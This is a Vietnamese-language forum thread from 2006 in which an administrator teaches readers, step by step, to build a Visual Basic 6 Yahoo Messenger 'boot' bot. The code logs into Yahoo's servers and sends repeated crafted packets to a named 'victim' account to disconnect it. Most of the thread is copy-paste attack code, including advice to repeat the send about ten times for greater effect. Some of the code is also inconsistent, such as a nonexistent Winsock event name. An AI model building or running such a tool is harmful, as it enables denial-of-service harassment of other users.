Tags
This content has not been tagged yet
Tự làm 1 chương trình Bot yahoo bằng VB 6.0
2 Pages
1 2 >
|
|

|
|
|
|
Mar 30 2006, 11:06 PM
|

No Predestinedation

Group: Admin
Posts: 413
Cash: 13,372k
Age: 24
Joined: 27-October 05
From: Hà Nội
Member No.: 8,880
Yahoo! Status: 

|
Phần thứ 3 quan trọng nhất của chương trình là Viết Code làm việc cho chương trình.Các bjan phải làm theo đúng những gì tôi nói nếu có sai xót chương trình sẽ ko làm việc.
Trước tiên các bạn nhìn vào Form mình đã thiết kế như phần 2 tôi đã nói. Các bạn sẽ phải viết Code cho 4 điều khiển tất cả: WinsockControl. Command 1 : Login Command 2 : Logout Command 3 : BootVictim
Trong chương trình tôi có gửi kèm 2 Modules là Module Login và Packet Coding tôi đã viết sẵn mã Code cho chúng và sẽ giải thích ý nghĩa Code tại những bài viết nâng cao các bạn ko cần thwasc mắc về Code của chúng.
Trước tiên chúng ta sẽ viết Code cho điều khiển WinsockControl.Đây là điều khiển quan trọng nhất của chương trình.Moi hoạt động của chương trình đều dựa vào làm việc của điều khiển này nên các bạn chú ý xem kĩ.
Để viết Code cho Win SockControl các bạn chỉ việc Click đúp chuột vào biêtr tượng Winsock trong Form hiện thời ngay lập tức sẽ hiện lên 1 bảng mới cho các bạn như hình dưới:
Private Sub Winsock1_Error(ByVal Number As Integer, Description....
End Sub
Các bạn copy đoạn code dưới vào giữa:
Label1.Caption = "Dang Ket Noi Nick Bot." Winsock1.SendData Get_Key(Text1)
Sẽ trở thành:
Private Sub Winsock1_Error(ByVal Number As Integer, Description.... Label1.Caption = "Dang Ket Noi Nick Bot." Winsock1.SendData Get_Key(Text1) End Sub
Đoạn Code trên là để khi người sử dụng Click chuột vào Command Login thì Label1 sẽ hiện lên báo cáo cho người đó là "Dang Ket Noi Nick Bot".Label1 ở đây đóng vai trò là Status. Tiếp theo ở dưới dòng End Sub các bạn cách ra 1 dòng và copy tiếp đoạn mã này vào đó:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim Data As String, ChallengeString As String Winsock1.GetData Data Select Case Asc(Mid(Data, 12, 1)) Case Is = 87 ChallengeString = Split(Data, "94À€")(1) ChallengeString = Split(ChallengeString, "À€")(0) getencrstrings Text1, Text2, ChallengeString, Crypt(0), Crypt(1), 1 Winsock1.SendData Login(Text1.Text) SessionKey = Mid(Data, 17, 4) Case Is = 84 Label1.Caption = "Sai ID/Pass Nick Bot!" Winsock1.Close Case Is = 85 Label1.Caption = "Nick Bot Da Ket Noi." If Winsock1.State = sckConnected Then Winsock1.SendData BotStatus(Text1, "Visit Yahoo-69 www.vnpower.org") End If
End Select Debug.Print Asc(Mid(Data, 12, 1)) & " - " & Data End Sub
Với đoạn Code trên Winsock sau khi nhận lệnh Login sẽ ngay lập tức tạo các liên kết với cơ sơ dữ liệu có trong Module Login và tạo liên kết với Server Yahoo tại Text3.Sau khi tạo được liên kết để Login Bot thì Label1 sẽ nhận lệnh hiển thị báo cáo cho người dùng biết đã tạo được kết nối. Nếu như người dùng điền sai ID hoặc pass nick bot thì kết nối sẽ bị ngưng lại và chương trình sẽ hướng tới câu lệnh tiếp theo. Ngoài ra trong đoạn code trên tôi có đưa thêm 1 đoạn Code nhằm tạo quảng cáo.Tức là nếu bạn add nick mà bạn dùng để login trong chương trình bạn sẽ thấy Status yahoo của nick đó sẽ hiện lên đường link của Yahoo-69.
Câu lệnh tiếp theo là ở dưới dòng End Sub ta lại cách ra 1 dòng và Copy đoạn mã dưới vào :
Private Sub Winsock1_sonic(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Label1.Caption = "Loi Ket Noi!!!" Winsock1.Close End Sub
Đoạn mã trên có nghĩa là khi người dùng điền sai ID hoặc Pass nick Bot Label1 sẽ hiển thị báo cáo ngay lập tức và ngưng hoạt động của Winsock.
Kết thúc phần Code cho Winsock Control.Nhìn lai toàn bộ các bạn sẽ thấy như sau:
CODE Private Sub Winsock1_Connect() Label1.Caption = "Dang Ket Noi Nick Bot." Winsock1.SendData Get_Key(Text1) End Sub ---------------------------------------------------------------------------------------------- Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim Data As String, ChallengeString As String Winsock1.GetData Data Select Case Asc(Mid(Data, 12, 1)) Case Is = 87 ChallengeString = Split(Data, "94À€")(1) ChallengeString = Split(ChallengeString, "À€")(0) getencrstrings Text1, Text2, ChallengeString, Crypt(0), Crypt(1), 1 Winsock1.SendData Login(Text1.Text) SessionKey = Mid(Data, 17, 4) Case Is = 84 Label1.Caption = "Sai ID/Pass Nick Bot!" Winsock1.Close Case Is = 85 Label1.Caption = "Nick Bot Da Ket Noi." If Winsock1.State = sckConnected Then Winsock1.SendData BotStatus(Text1, "Visit Yahoo-69 www.vnpower.org") End If
End Select Debug.Print Asc(Mid(Data, 12, 1)) & " - " & Data End Sub ---------------------------------------------------------------------------------------------- Private Sub Winsock1_sonic(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Label1.Caption = "Error" Winsock1.Close End Sub
|
|
|
|
|
|
Mar 30 2006, 11:43 PM
|

No Predestinedation

Group: Admin
Posts: 413
Cash: 13,372k
Age: 24
Joined: 27-October 05
From: Hà Nội
Member No.: 8,880
Yahoo! Status: 

|
Tiếp theo sẽ là Code cho 3 điều khiển còn lại như tôi đã nsoi trên. Với Command 1 : Login các bạn Click đúp chuột vào nó sẽ hiện tiếp bảng Code :
Private Sub Command1_Click()
End Sub
Các bạn Copy đoạn mã sau vào giữa: Winsock1.Close Winsock1.Connect Text3.Text, 5050
Sẽ trở thành :
Private Sub Command1_Click() Winsock1.Close Winsock1.Connect Text3.Text, 5050 End Sub
Có nghĩa là khi người dùng Click vào Login thì việc đầu tiên Winsock sẽ kết thúc tất cả công việc đang làm trước đó nếu có. Tiếp theo đó Winsock sẽ Connect nick bot với Server nằm tại Text3 và Post là 5050.
Command 2 : Logout :
Private Sub Command2_Click()
End Sub
Copy và Paste đoạn mã dưới vào : Label1.Caption = "Nick Bot Da Ngung Ket Noi." Winsock1.Close
Sẽ thành : Private Sub Command2_Click() Label1.Caption = "Nick Bot Da Ngung Ket Noi." Winsock1.Close End Sub
Tức là : Khi người dùng Click vào Logout thì Winsock sẽ ngưng việc kết nối với Server đồng nghĩa với việc Nick Bot của các bạn sẽ Disconnect. Và Label1 se hiển thì thông báo như trên sau khi nhưng kết nối.
Command 3 : BootVictim Private Sub Command3_Click()
End Sub
Các bạn Copy và Paste đoạn mã dưới vào : If Winsock1.State = sckConnected Then Winsock1.SendData sonic(Text1, Text4) End If
Đoạn code này tạo liên kết với Packet Coding mà tôi đã gửi các bạn ở phần 2. Ý nghĩa như sau: Lệnh If ở đây Nếu Winsock đã được Connect Thì (Then) Winsock sẽ gửi 1 gói dữ liệu tại Packet Coding từ Text1 (nơi chứa nick Bot của người dùng) đến Text4 (Nơi chứa nick nạn nhân)
Để tốc độ kết nối và gửi giữ liệu được tăng nhanh các bạn Copy đoạn code trên và Paste ra làm nhiều lần khoảng 10 lần. Sẽ được như sau: (ở đây tôi làm tượng chưng thôi)
Private Sub Command3_Click() If Winsock1.State = sckConnected Then Winsock1.SendData sonic(Text1, Text4) End If If Winsock1.State = sckConnected Then Winsock1.SendData sonic(Text1, Text4) End If If Winsock1.State = sckConnected Then Winsock1.SendData sonic(Text1, Text4) End If If Winsock1.State = sckConnected Then Winsock1.SendData sonic(Text1, Text4) End If End Sub
Như vậy là ta đã làm hoàn chỉnh Phần 3 của chương trình.
|
|
|
|
|
|
Jul 5 2006, 10:57 AM
|
 | |